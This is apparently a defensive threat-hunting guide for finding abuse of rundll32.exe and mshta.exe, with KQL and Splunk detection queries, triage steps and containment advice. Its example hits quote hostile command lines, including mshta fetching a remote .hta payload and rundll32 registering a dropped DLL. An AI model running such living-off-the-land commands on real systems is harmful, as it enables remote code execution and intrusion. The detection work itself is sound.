The Incident Pattern
The most dangerous binaries on a Windows host are the ones Microsoft signed. rundll32.exe executes exported functions from any DLL you hand it. mshta.exe runs HTML Applications — full script engines — from local files or URLs. Attackers love them because they blend into baseline: rundll32 runs constantly in normal operations, and mshta looks like a legacy help viewer right up until it downloads a payload from the internet.
This hunt assumes the adversary is deliberately avoiding malware and asks: which invocations of these trusted binaries don't look like the operating system using them?
The Hypothesis
Hypothesis: If an actor is living off the land, we will find rundll32.exe or mshta.exe executions whose command lines deviate from known-good baselines — rundll32 loading DLLs from user-writable paths, calling suspicious exports (DllRegisterServer on a dropped DLL, javascript: URIs), or mshta executing remote .hta content — with parents like Office apps, browsers, or script interpreters instead of the OS.
Data You'll Need
| Source | What we're after |
|---|---|
Defender DeviceProcessEvents | Full command lines and parent processes |
| Sysmon Event ID 1 | Process creation with command line + parent image |
| Sysmon Event ID 7 (ImageLoad) | Which DLLs rundll32 actually loaded |
| Security Event 4688 | Process creation (with command-line logging enabled) |
Command-line logging is non-negotiable here: without it, every rundll32 invocation looks identical and this hunt is dead on arrival.
Hunting with KQL
Microsoft Sentinel / Defender — anomalous rundll32 and mshta invocations:
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in ("rundll32.exe", "mshta.exe")
| where ProcessCommandLine has_any ("http", ".hta", "javascript:", "vbscript:", "AppData", "Temp", "ProgramData", "Users\\Public", "shell32.dll,Control_RunDLL")
or (FileName == "rundll32.exe" and ProcessCommandLine has_any ("DllRegisterServer", "DllInstall", "#1", "advpack.dll"))
| where InitiatingProcessFileName !in ("explorer.exe", "svchost.exe", "rundll32.exe", "msiexec.exe", "setup.exe")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc
What this does: pulls every rundll32/mshta launch whose command line contains attacker-typical markers — URLs and .hta files (mshta fetching remote content), user-writable paths, script-scheme URIs, and rundll32's favorite malicious exports — while filtering out the OS's own legitimate parents. What remains is the interesting tail.
True-positive example: 2026-09-21 09:14:52 | WS-HR-007 | mshta.exe | mshta.exe http://185.220.x.x/update.hta | Parent: winword.exe (macro-enabled doc) — Word spawning mshta to fetch a remote HTA. The parent tells the story: this began as a malicious document.
Companion — rundll32 with no command line at all (hollowed/injected):
DeviceProcessEvents | where Timestamp > ago(7d) | where FileName == "rundll32.exe" | where isempty(ProcessCommandLine) or ProcessCommandLine == "\"C:\\Windows\\System32\\rundll32.exe\"" | project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine, AccountName
Hunting with Splunk
Sysmon-based LOLBin hunt with parent-chain context:
index=sysmon EventCode=1 (Image="*\\rundll32.exe" OR Image="*\\mshta.exe")
| search CommandLine IN ("*http*", "*.hta*", "*javascript:*", "*vbscript:*", "*\\Temp\\*", "*\\AppData\\*", "*DllRegisterServer*", "*#1*")
| search NOT ParentImage IN ("*\\explorer.exe", "*\\svchost.exe", "*\\msiexec.exe")
| stats count, values(CommandLine) as cmdlines, values(ParentImage) as parents by Computer, Image, User
| sort - count
What this does: the same suspicious-marker logic over Sysmon Event ID 1, enriched with parent images so the analyst can immediately see the launch chain.
Example hit: Computer=WS-HR-007 | Image=C:\Windows\System32\rundll32.exe | CommandLine=rundll32.exe C:\Users\Public\update.dll,DllRegisterServer | ParentImage=C:\Windows\System32\wscript.exe — a script interpreter registering a DLL dropped in a public folder. Living off the land, caught mid-lease.
Analyst walkthrough (click to expand)
- Run the query over 7 days; group by command-line pattern, not individual host, to spot campaigns.
- For each unique command line, check prevalence: one host = targeted, fifty hosts = software deployment (or worm).
- Resolve every referenced DLL/HTA path: does the file exist, is it signed, when was it written?
- Pivot on the parent — Office/script parents within minutes of email delivery timestamps suggest phishing.
Validating the Hit
- Baseline the command line. Compare against known-good invocations in your environment; attackers' rundll32 lines almost always reference non-standard DLL paths or exports.
- Check the file. Hash and sign the referenced DLL/HTA — unsigned, recently created, in a user-writable directory is a strong indicator.
- Follow the network. mshta with a URL means an HTTP fetch — check proxy logs for the request and what came back.
- Review the parent. A macro-enabled Office document or a script interpreter as parent converts "weird" into "malicious" fast.
Tuning Out False Positives
- Software installers and updaters legitimately use rundll32 with
DllRegisterServer— allowlist by signed installer and standard paths. - Control Panel applets launch via
rundll32.exe shell32.dll,Control_RunDLL— common and benign; exclude the exact known-good pattern. - Legacy enterprise apps sometimes wrap mshta for help content — baseline the specific HTA paths your org actually uses.
- Build an allowlist of (parent, command-line pattern) pairs rather than blocking the binaries outright — the OS needs them.
What to Do Next
- Contain: isolate the host and kill the LOLBin process tree, including the parent (don't leave the malicious document's Word process running).
- Collect: preserve the referenced DLL/HTA payload and the parent document — they're the forensic core of the intrusion.
- Harden: constrain with WDAC/AppLocker policies on script interpreters and HTA execution; consider Attack Surface Reduction rules blocking Office child processes.
- Detect durably: convert the tuned query into a scheduled rule, and add the observed command-line patterns to TI for fleet-wide retro-hunting.
Filed from the hunt floor: the binaries are innocent — it's the company they keep. A trusted tool with an untrusted parent and a URL in its pocket is not administration. It's tradecraft.

EmoticonEmoticon